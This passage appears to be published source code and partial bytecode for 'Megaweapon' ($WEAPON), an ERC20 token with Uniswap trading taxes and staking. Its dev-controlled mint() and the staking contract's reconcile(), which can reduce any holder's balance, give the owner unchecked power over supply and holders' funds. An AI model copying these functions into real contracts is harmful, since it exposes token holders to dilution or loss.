) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: MIT
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WEAPON is Context, IERC20{
uint256 private _txLimit;
uint256 private _limitTime;
bool private _swapping;
bool public tradingEnabled = false;
bool public stakingEnabled = false;
mapping (address => bool) private _isPool;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _stakedBalances;
mapping (address => uint256) private _stakeExpireTime;
mapping (address => uint256) private _stakeBeginTime;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 10 * 10**6 * 10**9;
string private _name = "Megaweapon";
string private _symbol = "$WEAPON";
uint8 private _decimals = 9;
uint8 private _buyTax = 10;
uint8 private _sellTax = 10;
address private _lp;
address payable private _devWallet;
address payable private _stakingContract;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address private _pair = address(0);
IUniswapV2Router02 private UniV2Router;
constructor(address dev) {
_lp = _msgSender();
_balances[_lp] = _totalSupply;
UniV2Router = IUniswapV2Router02(_uniRouter);
_devWallet = payable(dev);
}
event Stake(address indexed _staker, uint256 amount, uint256 stakeTime, uint256 stakeExpire);
event Reconcile(address indexed _staker, uint256 amount, bool isLoss);
modifier lockSwap {
_swapping = true;
_;
_swapping = false;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return availableBalanceOf(account);
}
function stakedBalanceOf(address account) public view returns (uint256) {
if (stakingEnabled && _stakeExpireTime[account] > block.timestamp) {
return _stakedBalances[account];
}
else return 0;
}
function availableBalanceOf(address account) public view returns (uint256) {
if (stakingEnabled && _stakeExpireTime[account] > block.timestamp) {
return _balances[account] - _stakedBalances[account];
}
else return _balances[account];
}
function isStaked(address account) public view returns (bool) {
if (stakingEnabled && _stakeExpireTime[account] > block.timestamp && _stakedBalances[account] > 0){
return true;
}
else return false;
}
function getStake(address account) public view returns (uint256, uint256, uint256) {
if (stakingEnabled && _stakeExpireTime[account] > block.timestamp && _stakedBalances[account] > 0)
return (_stakedBalances[account], _stakeBeginTime[account], _stakeExpireTime[account]);
else return (0,0,0);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
require (_allowances[sender][_msgSender()] >= amount, "ERC20: transfer amount exceeds allowance");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_balances[sender] >= amount, "ERC20: transfer exceeds balance");
require(availableBalanceOf(sender) >= amount, "$WEAPON: transfer exceeds unstaked balance");
require(amount > 0, "$WEAPON: cannot transfer zero");
uint256 taxedAmount = amount;
uint256 tax = 0;
if (_isPool[sender] == true && recipient != _lp && recipient != _uniRouter) {
require (block.timestamp > _limitTime || amount <= 50000 * 10**9, "$WEAPON: max tx limit");
require (block.number > _txLimit, "$WEAPON: trading not enabled");
tax = amount * _buyTax / 100;
taxedAmount = amount - tax;
_balances[address(this)] += tax;
}
if (_isPool[recipient] == true && sender != _lp && sender != _uniRouter){
require (block.number > _txLimit, "$WEAPON: trading not enabled");
require (block.timestamp > _limitTime || amount <= 50000 * 10**9, "$WEAPON: max tx limit");
tax = amount * _sellTax / 100;
taxedAmount = amount - tax;
_balances[address(this)] += tax;
if (_balances[address(this)] > 100 * 10**9 && !_swapping) {
uint256 _swapAmount = _balances[address(this)];
if (_swapAmount > amount * 40 / 100) _swapAmount = amount * 40 / 100;
_tokensToETH(_swapAmount);
}
}
_balances[recipient] += taxedAmount;
_balances[sender] -= amount;
emit Transfer(sender, recipient, amount);
}
function stake(uint256 amount, uint256 unstakeTime) external {
require (stakingEnabled, "$WEAPON: staking currently not enabled");
require (unstakeTime > (block.timestamp + 85399),"$WEAPON: minimum stake time 24 hours");
require (unstakeTime >= _stakeExpireTime[_msgSender()], "$WEAPON: new stake time cannot be shorter");
require (availableBalanceOf(_msgSender()) >= amount, "$WEAPON: stake exceeds available balance");
require (amount > 0, "$WEAPON: cannot stake 0 tokens");
if (_stakeExpireTime[_msgSender()] > block.timestamp) _stakedBalances[_msgSender()] = _stakedBalances[_msgSender()] + amount;
else _stakedBalances[_msgSender()] = amount;
_stakeExpireTime[_msgSender()] = unstakeTime;
_stakeBeginTime[_msgSender()] = block.timestamp;
emit Stake(_msgSender(), amount, block.timestamp, unstakeTime);
}
function reconcile(address[] calldata account, uint256[] calldata amount, bool[] calldata isLoss) external {
require (_msgSender() == _stakingContract, "$WEAPON: Unauthorized");
uint i = 0;
uint max = account.length;
while (i < max) {
if (isLoss[i] == true) {
if (_stakedBalances[account[i]] > amount[i]) _stakedBalances[account[i]] = _stakedBalances[account[i]] - amount[i];
else _stakedBalances[account[i]] = 0;
_balances[account[i]] = _balances[account[i]] - amount[i];
}
else {
_stakedBalances[account[i]] = _stakedBalances[account[i]] + amount[i];
_balances[account[i]] = _balances[account[i]] + amount[i];
}
emit Reconcile(account[i], amount[i], isLoss[i]);
i++;
}
}
function mint(uint256 amount, address recipient) external {
require (_msgSender() == _devWallet, "$WEAPON: Unauthorized");
require (block.timestamp > 1640995200, "$WEAPON: too soon");
_totalSupply = _totalSupply + amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(address(0), recipient, amount);
}
function toggleStaking() external {
require (_msgSender() == _devWallet || _msgSender() == _stakingContract, "$WEAPON: Unauthorized");
require (_stakingContract != address(0), "$WEAPON: staking contract not set");
if (stakingEnabled == true) stakingEnabled = false;
else stakingEnabled = true;
}
function lockedAndLoaded(uint txLimit) external {
require (_msgSender() == _devWallet, "$WEAPON: Unauthorized");
require (tradingEnabled == false, "$WEAPON: already loaded, sucka");
tradingEnabled = true;
_setTxLimit(txLimit, block.number);
}
function setStakingContract(address addr) external {
require (_msgSender() == _devWallet, "$WEAPON: Unauthorized");
_stakingContract = payable(addr);
}
function getStakingContract() public view returns (address) {
return _stakingContract;
}
function reduceBuyTax(uint8 newTax) external {
require (_msgSender() == _devWallet, "$WEAPON: Unauthorized");
require (newTax < _buyTax, "$WEAPON: new tax must be lower");
_buyTax = newTax;
}
function reduceSellTax(uint8 newTax) external {
require (_msgSender() == _devWallet, "$WEAPON: Unauthorized");
require (newTax < _sellTax, "$WEAPON: new tax must be lower");
_sellTax = newTax;
}
function setPool(address addr) external {
require (_msgSender() == _devWallet, "$WEAPON: Unuthorized");
_isPool[addr] = true;
}
function isPool(address addr) public view returns (bool){
return _isPool[addr];
}
function _setTxLimit(uint256 txLimit, uint256 limitBegin) private {
_txLimit = limitBegin + txLimit;
_limitTime = block.timestamp + 1800;
}
function _transferETH(uint256 amount, address payable _to) private {
(bool sent, bytes memory data) = _to.call{value: amount}("");
require(sent, "Failed to send Ether");
}
function _tokensToETH(uint256 amount) private lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = UniV2Router.WETH();
_approve(address(this), _uniRouter, amount);
UniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
if (address(this).balance > 0)
{
if (stakingEnabled) {
uint stakingShare = address(this).balance * 20 / 100;
_transferETH(stakingShare, _stakingContract);
}
_transferETH(address(this).balance, _devWallet);
}
}
function failsafeTokenSwap(uint256 amount) external {
require (_msgSender() == _devWallet, "$WEAPON: Unauthorized");
_tokensToETH(amount);
}
function failsafeETHtransfer() external {
require (_msgSender() == _devWallet, "$WEAPON: Unauthorized");
(bool sent, bytes memory data) = _msgSender().call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
receive() external payable {}
fallback() external payable {}
}
|
0x6080604052600436106101bb5760003560e01c80635e9b968d116100ec57806395d89b411161008a578063a9059cbb11610064578063a9059cbb146104ba578063d8fda58d146104da578063d9181d68146104fa578063dd62ed3e1461051a576101c2565b806395d89b411461046557806397db12921461047a5780639dd373b91461049a576101c2565b80637a766460116100c65780637a766460146103d45780637b0472f0146104035780638e68dce41461042357806394bf804d14610445576101c2565b80635e9b968d146103745780636177fd181461039457806370a08231146103b4576101c2565b806323b872dd116101595780633b8105b3116101335780633b8105b31461030a5780634437152a1461031f5780634ada218b1461033f5780635b16ebb714610354576101c2565b806323b872dd146102a857806325d998bb146102c8578063313ce567146102e8576101c2565b806311d2f6891161019557806311d2f68914610231578063167653911461025157806318160ddd1461027e5780631cfff51b14610293576101c2565b806306fdde03146101c4578063095ea7b3146101ef5780631023231c1461021c576101c2565b366101c257005b005b3480156101d057600080fd5b506101d961053a565b6040516101e69190612079565b60405180910390f35b3480156101fb57600080fd5b5061020f61020a366004611ef8565b6105cc565b6040516101e6919061206e565b34801561022857600080fd5b506101c26105e9565b34801561023d57600080fd5b506101c261024c366004612036565b6106b5565b34801561025d57600080fd5b5061027161026c366004611e41565b61073b565b6040516101e691906125f7565b34801561028a57600080fd5b5061027161079a565b34801561029f57600080fd5b5061020f6107a0565b3480156102b457600080fd5b5061020f6102c3366004611eb8565b6107af565b3480156102d457600080fd5b506102716102e3366004611e41565b610884565b3480156102f457600080fd5b506102fd610910565b6040516101e69190612696565b34801561031657600080fd5b506101c2610919565b34801561032b57600080fd5b506101c261033a366004611e41565b6109db565b34801561034b57600080fd5b5061020f610a39565b34801561036057600080fd5b5061020f61036f366004611e41565b610a47565b34801561038057600080fd5b506101c261038f366004611fd9565b610a65565b3480156103a057600080fd5b5061020f6103af366004611e41565b610ae3565b3480156103c057600080fd5b506102716103cf366004611e41565b610b45565b3480156103e057600080fd5b506103f46103ef366004611e41565b610b56565b6040516101e693929190612680565b34801561040f57600080fd5b506101c261041e366004612015565b610bf9565b34801561042f57600080fd5b50610438610e49565b6040516101e6919061205a565b34801561045157600080fd5b506101c2610460366004611ff1565b610e58565b34801561047157600080fd5b506101d9610f45565b34801561048657600080fd5b506101c2610495366004611f23565b610f54565b3480156104a657600080fd5b506101c26104b5366004611e41565b611526565b3480156104c657600080fd5b5061020f6104d5366004611ef8565b611582565b3480156104e657600080fd5b506101c26104f5366004611fd9565b611596565b34801561050657600080fd5b506101c2610515366004612036565b6115d9565b34801561052657600080fd5b50610271610535366004611e80565b61165c565b6060600a805461054990612712565b80601f016020809104026020016040519081016040528092919081815260200182805461057590612712565b80156105c25780601f10610597576101008083540402835291602001916105c2565b820191906000526020600020905b8154815290600101906020018083116105a557829003601f168201915b5050505050905090565b60006105e06105d9611687565b848461168b565b50600192915050565b600d546001600160a01b03166105fd611687565b6001600160a01b03161461062c5760405162461bcd60e51b815260040161062390612280565b60405180910390fd5b600080610637611687565b6001600160a01b03164760405161064d90612057565b60006040518083038185875af1925050503d806000811461068a576040519150601f19603f3d011682016040523d82523d6000602084013e61068f565b606091505b5091509150816106b15760405162461bcd60e51b815260040161062390612252565b5050565b600d546001600160a01b03166106c9611687565b6001600160a01b0316146106ef5760405162461bcd60e51b815260040161062390612280565b600c5460ff6201000090910481169082161061071d5760405162461bcd60e51b8152600401610623906123e2565b600c805460ff909216620100000262ff000019909216919091179055565b60025460009062010000900460ff16801561076d57506001600160a01b03821660009081526006602052604090205442105b1561079157506001600160a01b038116600090815260056020526040902054610795565b5060005b919050565b60095490565b60025462010000900460ff1681565b6001600160a01b03831660009081526008602052604081208290826107d2611687565b6001600160a01b03166001600160a01b031681526020019081526020016000205410156108115760405162461bcd60e51b81526004016106239061239a565b61081c84848461173f565b61087a84610828611687565b6001600160a01b0387166000908152600860205260408120869161084a611687565b6001600160a01b03166001600160a01b031681526020019081526020016000205461087591906126fb565b61168b565b5060019392505050565b60025460009062010000900460ff1680156108b657506001600160a01b03821660009081526006602052604090205442105b156108f1576001600160a01b0382166000908152600560209081526040808320546004909252909120546108ea91906126fb565b9050610795565b506001600160a01b038116600090815260046020526040902054610795565b600c5460ff1690565b600d546001600160a01b031661092d611687565b6001600160a01b0316148061095c5750600e546001600160a01b0316610951611687565b6001600160a01b0316145b6109785760405162461bcd60e51b815260040161062390612280565b600e546001600160a01b03166109a05760405162461bcd60e51b81526004016106239061258b565b60025462010000900460ff161515600114156109c7576002805462ff0000191690556109d9565b6002805462ff00001916620100001790555b565b600d546001600160a01b03166109ef611687565b6001600160a01b031614610a155760405162461bcd60e51b8152600401610623906124a2565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b600254610100900460ff1681565b6001600160a01b031660009081526003602052604090205460ff1690565b600d546001600160a01b0316610a79611687565b6001600160a01b031614610a9f5760405162461bcd60e51b815260040161062390612280565b600254610100900460ff1615610ac75760405162461bcd60e51b8152600401610623906122af565b6002805461ff001916610100179055610ae08143611b52565b50565b60025460009062010000900460ff168015610b1557506001600160a01b03821660009081526006602052604090205442105b8015610b3857506001600160a01b03821660009081526005602052604090205415155b1561079157506001610795565b6000610b5082610884565b92915050565b600080600060028054906101000a900460ff168015610b8c57506001600160a01b03841660009081526006602052604090205442105b8015610baf57506001600160a01b03841660009081526005602052604090205415155b15610be8575050506001600160a01b03811660009081526005602090815260408083205460078352818420546006909352922054610bf2565b5060009150819050805b9193909250565b60025462010000900460ff16610c215760405162461bcd60e51b81526004016106239061231d565b610c2e4262014d976126a4565b8111610c4c5760405162461bcd60e51b815260040161062390612518565b60066000610c58611687565b6001600160a01b03166001600160a01b0316815260200190815260200160002054811015610c985760405162461bcd60e51b81526004016106239061210f565b81610ca46102e3611687565b1015610cc25760405162461bcd60e51b8152600401610623906124d0565b60008211610ce25760405162461bcd60e51b8152600401610623906121a2565b4260066000610cef611687565b6001600160a01b03166001600160a01b03168152602001908152602001600020541115610d79578160056000610d23611687565b6001600160a01b03166001600160a01b0316815260200190815260200160002054610d4e91906126a4565b60056000610d5a611687565b6001600160a01b03168152602081019190915260400160002055610da1565b8160056000610d86611687565b6001600160a01b031681526020810191909152604001600020555b8060066000610dae611687565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055504260076000610ddf611687565b6001600160a01b03168152602081019190915260400160002055610e01611687565b6001600160a01b03167ff556991011e831bcfac4f406d547e5e32cdd98267efab83935230d5f8d02c446834284604051610e3d93929190612680565b60405180910390a25050565b600e546001600160a01b031690565b600d546001600160a01b0316610e6c611687565b6001600160a01b031614610e925760405162461bcd60e51b815260040161062390612280565b6361cf99804211610eb55760405162461bcd60e51b8152600401610623906125cc565b81600954610ec391906126a4565b6009556001600160a01b038116600090815260046020526040902054610eea9083906126a4565b6001600160a01b0382166000818152600460205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f399086906125f7565b60405180910390a35050565b6060600b805461054990612712565b600e546001600160a01b0316610f68611687565b6001600160a01b031614610f8e5760405162461bcd60e51b815260040161062390612280565b6000855b8082101561151c57838383818110610fba57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610fcf9190611fb9565b15156001141561127c57858583818110610ff957634e487b7160e01b600052603260045260246000fd5b90506020020135600560008a8a8681811061102457634e487b7160e01b600052603260045260246000fd5b90506020020160208101906110399190611e41565b6001600160a01b03166001600160a01b031681526020019081526020016000205411156111435785858381811061108057634e487b7160e01b600052603260045260246000fd5b90506020020135600560008a8a868181106110ab57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906110c09190611e41565b6001600160a01b03166001600160a01b03168152602001908152602001600020546110eb91906126fb565b600560008a8a8681811061110f57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906111249190611e41565b6001600160a01b03168152602081019190915260400160002055611199565b6000600560008a8a8681811061116957634e487b7160e01b600052603260045260246000fd5b905060200201602081019061117e9190611e41565b6001600160a01b031681526020810191909152604001600020555b8585838181106111b957634e487b7160e01b600052603260045260246000fd5b90506020020135600460008a8a868181106111e457634e487b7160e01b600052603260045260246000fd5b90506020020160208101906111f99190611e41565b6001600160a01b03166001600160a01b031681526020019081526020016000205461122491906126fb565b600460008a8a8681811061124857634e487b7160e01b600052603260045260246000fd5b905060200201602081019061125d9190611e41565b6001600160a01b03168152602081019190915260400160002055611439565b85858381811061129c57634e487b7160e01b600052603260045260246000fd5b90506020020135600560008a8a868181106112c757634e487b7160e01b600052603260045260246000fd5b90506020020160208101906112dc9190611e41565b6001600160a01b03166001600160a01b031681526020019081526020016000205461130791906126a4565b600560008a8a8681811061132b57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906113409190611e41565b6001600160a01b0316815260208101919091526040016000205585858381811061137a57634e487b7160e01b600052603260045260246000fd5b90506020020135600460008a8a868181106113a557634e487b7160e01b600052603260045260246000fd5b90506020020160208101906113ba9190611e41565b6001600160a01b03166001600160a01b03168152602001908152602001600020546113e591906126a4565b600460008a8a8681811061140957634e487b7160e01b600052603260045260246000fd5b905060200201602081019061141e9190611e41565b6001600160a01b031681526020810191909152604001600020555b87878381811061145957634e487b7160e01b600052603260045260246000fd5b905060200201602081019061146e9190611e41565b6001600160a01b03167f40d1bd8722cd8a4a9b2de996db4d475067e7bc01ad81394bf5c5b1b98bd4d2fc8787858181106114b857634e487b7160e01b600052603260045260246000fd5b905060200201358686868181106114df57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906114f49190611fb9565b604051611502929190612600565b60405180910390a2816115148161274d565b925050610f92565b5050505050505050565b600d546001600160a01b031661153a611687565b6001600160a01b0316146115605760405162461bcd60e51b815260040161062390612280565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006105e061158f611687565b848461173f565b600d546001600160a01b03166115aa611687565b6001600160a01b0316146115d05760405162461bcd60e51b815260040161062390612280565b610ae081611b72565b600d546001600160a01b03166115ed611687565b6001600160a01b0316146116135760405162461bcd60e51b815260040161062390612280565b600c5460ff6101009091048116908216106116405760405162461bcd60e51b8152600401610623906123e2565b600c805460ff9092166101000261ff0019909216919091179055565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166116b15760405162461bcd60e51b81526004016106239061245e565b6001600160a01b0382166116d75760405162461bcd60e51b8152600401610623906121d9565b6001600160a01b0380841660008181526008602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906117329085906125f7565b60405180910390a3505050565b6001600160a01b0383166117655760405162461bcd60e51b815260040161062390612419565b6001600160a01b03821661178b5760405162461bcd60e51b8152600401610623906120cc565b6001600160a01b0383166000908152600460205260409020548111156117c35760405162461bcd60e51b815260040161062390612363565b806117cd84610884565b10156117eb5760405162461bcd60e51b815260040161062390612158565b6000811161180b5760405162461bcd60e51b81526004016106239061221b565b6001600160a01b03831660009081526003602052604081205482919060ff16151560011480156118505750600c546001600160a01b0385811663010000009092041614155b801561186a5750600f546001600160a01b03858116911614155b1561191a576001544211806118855750652d79883d20008311155b6118a15760405162461bcd60e51b81526004016106239061255c565b60005443116118c25760405162461bcd60e51b8152600401610623906122e6565b600c546064906118da90610100900460ff16856126dc565b6118e491906126bc565b90506118f081846126fb565b306000908152600460205260408120805492945083929091906119149084906126a4565b90915550505b6001600160a01b03841660009081526003602052604090205460ff161515600114801561195c5750600c546001600160a01b0386811663010000009092041614155b80156119765750600f546001600160a01b03868116911614155b15611aa457600054431161199c5760405162461bcd60e51b8152600401610623906122e6565b6001544211806119b25750652d79883d20008311155b6119ce5760405162461bcd60e51b81526004016106239061255c565b600c546064906119e79062010000900460ff16856126dc565b6119f191906126bc565b90506119fd81846126fb565b30600090815260046020526040812080549294508392909190611a219084906126a4565b90915550503060009081526004602052604090205464174876e800108015611a4c575060025460ff16155b15611aa457306000908152600460205260409020546064611a6e8560286126dc565b611a7891906126bc565b811115611a99576064611a8c8560286126dc565b611a9691906126bc565b90505b611aa281611b72565b505b6001600160a01b03841660009081526004602052604081208054849290611acc9084906126a4565b90915550506001600160a01b03851660009081526004602052604081208054859290611af99084906126fb565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b4391906125f7565b60405180910390a35050505050565b611b5c82826126a4565b600055611b6b426107086126a4565b6001555050565b6002805460ff191660011781556040805182815260608101825260009290916020830190803683370190505090503081600081518110611bc257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611c1657600080fd5b505afa158015611c2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4e9190611e64565b81600181518110611c6f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54611c95913091168461168b565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790611cce908590600090869030904290600401612610565b600060405180830381600087803b158015611ce857600080fd5b505af1158015611cfc573d6000803e3d6000fd5b505050506000471115611d665760025462010000900460ff1615611d4f5760006064611d294760146126dc565b611d3391906126bc565b600e54909150611d4d9082906001600160a01b0316611d74565b505b600d54611d669047906001600160a01b0316611d74565b50506002805460ff19169055565b600080826001600160a01b031684604051611d8e90612057565b60006040518083038185875af1925050503d8060008114611dcb576040519150601f19603f3d011682016040523d82523d6000602084013e611dd0565b606091505b509150915081611df25760405162461bcd60e51b815260040161062390612252565b50505050565b60008083601f840112611e09578182fd5b50813567ffffffffffffffff811115611e20578182fd5b6020830191508360208083028501011115611e3a57600080fd5b9250929050565b600060208284031215611e52578081fd5b8135611e5d8161277e565b9392505050565b600060208284031215611e75578081fd5b8151611e5d8161277e565b60008060408385031215611e92578081fd5b8235611e9d8161277e565b91506020830135611ead8161277e565b809150509250929050565b600080600060608486031215611ecc578081fd5b8335611ed78161277e565b92506020840135611ee78161277e565b929592945050506040919091013590565b60008060408385031215611f0a578182fd5b8235611f158161277e565b946020939093013593505050565b60008060008060008060608789031215611f3b578182fd5b863567ffffffffffffffff80821115611f52578384fd5b611f5e8a838b01611df8565b90985096506020890135915080821115611f76578384fd5b611f828a838b01611df8565b90965094506040890135915080821115611f9a578384fd5b50611fa789828a01611df8565b979a9699509497509295939492505050565b600060208284031215611fca578081fd5b81358015158114611e5d578182fd5b600060208284031215611fea578081fd5b5035919050565b60008060408385031215612003578182fd5b823591506020830135611ead8161277e565b60008060408385031215612027578182fd5b50508035926020909101359150565b600060208284031215612047578081fd5b813560ff81168114611e5d578182fd5b90565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b818110156120a557858101830151858201604001528201612089565b818111156120b65783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526029908201527f24574541504f4e3a206e6577207374616b652074696d652063616e6e6f742062604082015268329039b437b93a32b960b91b606082015260800190565b6020808252602a908201527f24574541504f4e3a207472616e73666572206578636565647320756e7374616b60408201526965642062616c616e636560b01b606082015260800190565b6020808252601e908201527f24574541504f4e3a2063616e6e6f74207374616b65203020746f6b656e730000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f24574541504f4e3a2063616e6e6f74207472616e73666572207a65726f000000604082015260600190565b6020808252601490820152732330b4b632b2103a379039b2b7321022ba3432b960611b604082015260600190565b6020808252601590820152740915d1505413d38e88155b985d5d1a1bdc9a5e9959605a1b604082015260600190565b6020808252601e908201527f24574541504f4e3a20616c7265616479206c6f616465642c207375636b610000604082015260600190565b6020808252601c908201527f24574541504f4e3a2074726164696e67206e6f7420656e61626c656400000000604082015260600190565b60208082526026908201527f24574541504f4e3a207374616b696e672063757272656e746c79206e6f7420656040820152651b98589b195960d21b606082015260800190565b6020808252601f908201527f45524332303a207472616e7366657220657863656564732062616c616e636500604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252601e908201527f24574541504f4e3a206e657720746178206d757374206265206c6f7765720000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601490820152730915d1505413d38e88155b9d5d1a1bdc9a5e995960621b604082015260600190565b60208082526028908201527f24574541504f4e3a207374616b65206578636565647320617661696c61626c656040820152672062616c616e636560c01b606082015260800190565b60208082526024908201527f24574541504f4e3a206d696e696d756d207374616b652074696d6520323420686040820152636f75727360e01b606082015260800190565b6020808252601590820152740915d1505413d38e881b585e081d1e081b1a5b5a5d605a1b604082015260600190565b60208082526021908201527f24574541504f4e3a207374616b696e6720636f6e7472616374206e6f742073656040820152601d60fa1b606082015260800190565b602080825260119082015270122ba2a0a827a71d103a37b79039b7b7b760791b604082015260600190565b90815260200190565b9182521515602082015260400190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561265f5784516001600160a01b0316835293830193918301916001016126